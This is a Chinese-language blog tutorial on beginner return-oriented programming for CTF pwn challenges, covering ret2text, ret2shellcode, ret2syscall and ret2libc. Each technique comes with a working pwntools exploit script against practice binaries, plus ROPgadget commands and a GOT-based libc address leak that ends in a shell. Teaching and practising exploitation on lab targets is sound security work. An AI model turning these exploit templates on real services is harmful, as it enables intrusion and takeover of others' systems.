首页 > 其他分享 >Pwn之初级ROP

Pwn之初级ROP

时间:2024-11-07 23:44:33浏览次数:3  
标签:调用 函数 libc 地址 system ROP 初级 sh Pwn

        NX保护开启后,不能直接向堆栈上注入代码运行,因此需要采用返回返回导向编程 (Return Oriented Programming)来绕过保护。ROP主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。(堆栈保护机制❌)

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。(程序中没有合适片段❌)

1.ret2text

        有的时候,程序中 .text 段会有一些可以使用的代码,我们可以控制执行程序已有的一段或多段不相邻的代码,这就是ret2text。应找出溢出的变量长度,计算出相当于返回地址的偏移长度,然后灌输相同长度的垃圾信息,之后用目标地址覆盖返回地址就能得到系统的shell了。

例题  BUUCTF在线评测  rip

用IDA打开,发现gets没有限制输入,存在栈溢出漏洞

双击变量s进入栈视图,发现s的长度为15

由于这道题是64位程序,所以返回地址偏移长度位15+8,找到后门函数fun压参地址payload如下:

#!/usr/bin/env python3
from pwn import*

p = remote('node5.buuoj.cn', 25353)

buf = b'a'*23 + p64(0x40118A)

p.sendline(buf)
p.interactive()

2.ret2shellcode

        shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell,ret2shellcode,即控制程序执行 shellcode 代码。通常情况下,shellcode 需要我们自行编写或者使用pwntools的shellcraft工具来生成并且转换成二进制格式。

        shellcode想执行需要所在区域具有可执行权限,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。

题目来源:XMCVE 2020 CTF Pwn入门课程_哔哩哔哩_bilibili

解题步骤:先使用checksec查看防护措施,发现有RWX字段,即可读写执行段

然后用vmmap工具查看可执行段,计算段和esp的差值,shellcode可以使用pwntools提供的shellcraft.sh()进行生成,写出exp:

from pwn import *

io = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
payload = shellcode + (b'A' * 68).encode() + p32(0x0804A080)
io.sendline(payload)
io.interactive()

3.ret2syscall

控制程序执行系统调用,获取shell,以下是我们经常用到的系统调用:

execve("/bin/sh",NULL,NULL)

系统调用的概念: 

        计算机的各种硬件资源是有限的,为了更好的管理这些资源,用户进程是不允许直接操作的,所有对这些资源的访问都必须由操作系统控制。为此操作系统为用户态运行的进程与硬件设备之间进行交互提供了一组接口,这组接口就是所谓的系统调用。系统调用实质上就是函数调用,只不过调用的是系统函数,处于内核态而已。 用户在调用系统调用时会向内核传递一个系统调用号,然后系统调用处理程序通过此号从系统调用表中找到相应的内核函数执行,最后返回。

        Linux系统有几百个系统调用,为了唯一的标识每一个系统调用,Linux为每一个系统调用定义了一个唯一的编号,这个编号就是系统调用号,系统调用号在 /usr/include/x86_64-linux-gnu/asm/unistd_32.h存储。

        在Linux中,EAX寄存器是负责传递系统调用号的,而对系统调用的调用必须通过执行int $0x80汇编指令,这条指令会产生向量为128的编程异常(128向量即0x80向量)。在执行指令前,调用号会被存放在eax寄存器中,系统调用处理函数(中断处理函数)最终会通过系统调用号,调用正确的系统调用。对于参数传递,Linux也是通过寄存器完成的。Linux最多允许向系统调用传递6个参数,分别依次由%ebx,%ecx,%edx,%esi,%edi和%ebp这个6个寄存器完成

        因此,系统调用execve("/bin/sh",NULL,NULL)共需要五个寄存器,分别存放:

1.execve的系统调用号0xb(只能存放在eax中)

2.中断号0x80

3.”/bin/sh“对应的地址

4.调用参数 0

5.调用参数 0

例题:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/ropicon-default.png?t=O83Ahttps://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop先查看保护:

用IDA反编译发现有gets()函数,因此是利用了栈溢出,然后用ROPgadgets获得上文五个寄存器的gadgets,还有"/bin/sh"和int 0x80的地址,命令如下

ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x080bb196 : pop eax ; ret

ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

ROPgadget --binary rop  --string '/bin/sh'
0x080be408 : /bin/sh

ROPgadget --binary rop  --only 'int'
0x08049421 : int 0x80

由上文构建payload:

from pwn import *
elf = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat([b'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
elf.sendline(payload)
elf.interactive()

4.ret2libc

(题目来源 基本 ROP - CTF Wiki

这里分三种情况:

1)有system地址和/bin/sh地址

下载ret2libc1文件并checksec,发现是32位ELF,并且有NX保护,因此不能写入shellcode执行

拖进IDA发现有危险函数gets(),可以栈溢出,同时发现.plt段中有调用system函数

call 0x8048460 <system@plt>

shift+F12发现有字符串"/bin/sh"

.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o

然后用gdb计算偏移量:

先使用cyclic 200生成随机字符串

输入r运行,再输入生成的字符串

查看报错

然后输入cyclic -l 0x62616164 ,得到偏移长度为112

然后构建exp:

from pwn import *

io = process('./ret2libc1')
sh = 0x08048720
system_plt = 0x08048460
payload = b'a'*112 + p32(system_plt) + b'aaaa' + p32(sh)

io.sendline(payload)
io.interactive()

注意:使用PLT地址跳转到system函数时,程序栈会给system函数栈压入一个返回地址,返回地址介于函数地址和参数地址中间,因此需要将该返回地址填满(随便写)。

2)有system地址,没有/bin/sh地址

下载ret2libc2文件并checksec,发现是32位ELF,并且有NX保护

拖入IDA发现题目和上题类似,但是没有"/bin/sh",因此需要我们手动将其写入并执行

我们在IDA中查看到.bss段中有一个长为100的空闲内存buf2,起始地址为0x0804A080

然后发现还有一个gets()函数,位于plt上的0x8048460地址,于是可以用构造出payload:

垃圾信息+

gets函数的地址+

system函数的地址(gets函数的返回地址)+

gets函数的参数(输入的内存地址即buf2,同时也是system函数的返回地址)+

system函数的参数(需要执行的指令,即存放在buf2中,使用gets函数输入的指令)

exp如下:

from pwn import *

elf = process('./ret2libc2')
buf2 = 0x0804A080
system_plt = 0x08048490
gets_plt = 0x08048460
payload = b'a'*112 + p32(gets_plt) + p32(system_plt) + p32(buf2) + p32(buf2)

elf.sendline(payload)
elf.interactive()

运行后输入cat flag即可得到flag

3)没有system函数和/bin/sh

下载ret2libc3发现是32位程序,并且在前一道题的基础上去掉了system函数的地址

这道题需要用到libc的延迟绑定:

PLT(Procedure Linkage Table)过程链接表:        获取数据段存放函数地址

GOT(Global Offset Table)全局偏移表:                存放函数地址的数据段

        动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再间接跳转。这么做势必会影响到程序的运行速度。但程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现延迟绑定是通过PLT,原先GOT中存放着全局变量和函数调用,现在把它拆成两个部分.got和.got.plt,用 .got存放着全局变量引用,用.got.plt存放着函数引用

        简而言之,一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址,因为libc中任意两个函数之间的偏移是固定的。

        因此,我们需要先运行一次程序,完成动态绑定,通过溢出获取已知函数在GOT表上的位置,并且返回到程序最开始再次运行。第一次泄露的payload:

payload = b'A' * 112 + p32(puts_plt) + p32(main) + p32(libc_start_main_got)

                      溢出          输出函数      返回到入口        要泄露的GOT地址

        然后可以使用LibcSearcher查询libc版本并计算偏移,得到system和/bin/sh的真实地址,然后第二次溢出获得shell,exp如下:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")

libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])

sh.sendline(payload)
sh.interactive()

标签:调用,函数,libc,地址,system,ROP,初级,sh,Pwn
From: https://blog.csdn.net/Rinko233/article/details/143405277

相关文章

  • Pwn之格式化字符串漏洞
    0x00格式化字符串的原理格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式,常见的格式化字符串函数有:类型函数基本介绍输入scanf从标准输入读取格式化输入gets用于从标准输入读取一行............输出printf输出到stdoutfprintf输出到指定FIL......
  • PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
    ​题目来源:JarvisOJ https://www.jarvisoj.com/challenges题目名称:Level0题目介绍:属于栈溢出中的ret2text意思是Returntotext当程序中有可利用的危险函数控制程序的返回地址到原本的函数实现溢出利用 基础过程(看个人习惯):运行程序查看程序流程file查看文件内存......
  • Springboot 配置yml文件 ENC 加密及failed to bind properties under '********' to j
    1.添加依赖<dependency><groupId>com.github.ulisesbocchio</groupId><artifactId>jasypt-spring-boot-starter</artifactId><version>3.0.3</version></dependency>2.设置加密盐......
  • vue-props配置
    原文链接:vue-props配置–每天进步一点点1.props作用props主要用于组件实例对象之间传递参数,比如我们前面创建的student组件,我们在组件中让他显示一些信息,比如下面这样:Student组件如下:1234567891011121314151617181920<template>  <div> ......
  • 【Azure App Service】使用Microsoft.Office.Interop.Word来操作Word文档,部署到App Se
    问题描述在.NET项目中,使用Microsoft.Office.Interop.Word组件来操作Word文档,使用了Microsoft.Office.Interop.Word.Document对象中的Open和SaveAs方法。##打开文件doc=app.Documents.Open(refinputFile,refnullobj,refnullobj,refnullobj,refnullobj,refnullobj,......
  • Field Crop Res | 中国热科院甘蔗中心发布甘蔗智慧育种的全新架构
    近日,中国热带农业科学院/热带生物技术研究所甘蔗研究中心在“国家热带农业科学中心科技创新团队”和“热带作物生物育种全国重点实验室科研项目”等专项资助下,研究并发布了甘蔗智慧育种的全新架构。相关研究成果以_Digitalevolutionandtwinmiracleofsugarcanebreeding为题......
  • 【AI换脸整合包及教程】AI换脸技术新贵:Rope换脸工具全面解析
    随着人工智能技术的快速发展,AI换脸技术逐渐走入大众视野,成为一种既有趣又实用的技术。从早期的DeepFace到后来的Faceswap,再到如今的Rope,每一次技术的革新都带来了更高效、更自然的换脸体验。Rope作为当前市场上最炙手可热的AI换脸软件之一,以其强大的功能、简洁的操作界面以及广......
  • 【二进制安全】PWN基础入门大全(非常详细),零基础入门到精通,看这一篇就够了
    文章目录一、什么是PWN二、常见PWN漏洞三、PWN环境搭建四、PWN基础讲解1.Linux内存布局2.经典栈溢出2.1.栈说明2.2.栈溢出原理2.3.简单栈溢出利用3.常见ROP栈溢出利用3.1.ret2shellcode3.2.ret2syscall3.3.ret2libc==零基础入门黑客/网络安全==【----帮助网......
  • 温故知新,基于播客形式学习英语之EnglishPod 365, Elementary初级C集合Ⅱ(音频、原文、
    未经作者授权同意,请勿随意转载!!!(https://www.cnblogs.com/taylorshi/p/18498699)简介Enishpod是一家公司叫做PraxisLanguage推出的收费讲座,相比较ESLPod,EnishPod为常速。Enishpod极具趣味性,两位主持人Marco和Amira的讲解很生动幽默,完全有别于新概念类型听力的乏味。同时,Enis......
  • Apache HTTP Sever 的初级操作指南
    Apache初级操作指南摘要:本文详细介绍了ApacheHTTPServer的初级操作方法,包括安装与配置、启动与停止服务、虚拟主机设置以及访问日志与错误日志的查看与分析等内容。通过本文的学习,初学者可以快速掌握Apache的基本操作,为搭建和管理网站奠定基础。一、引言ApacheH......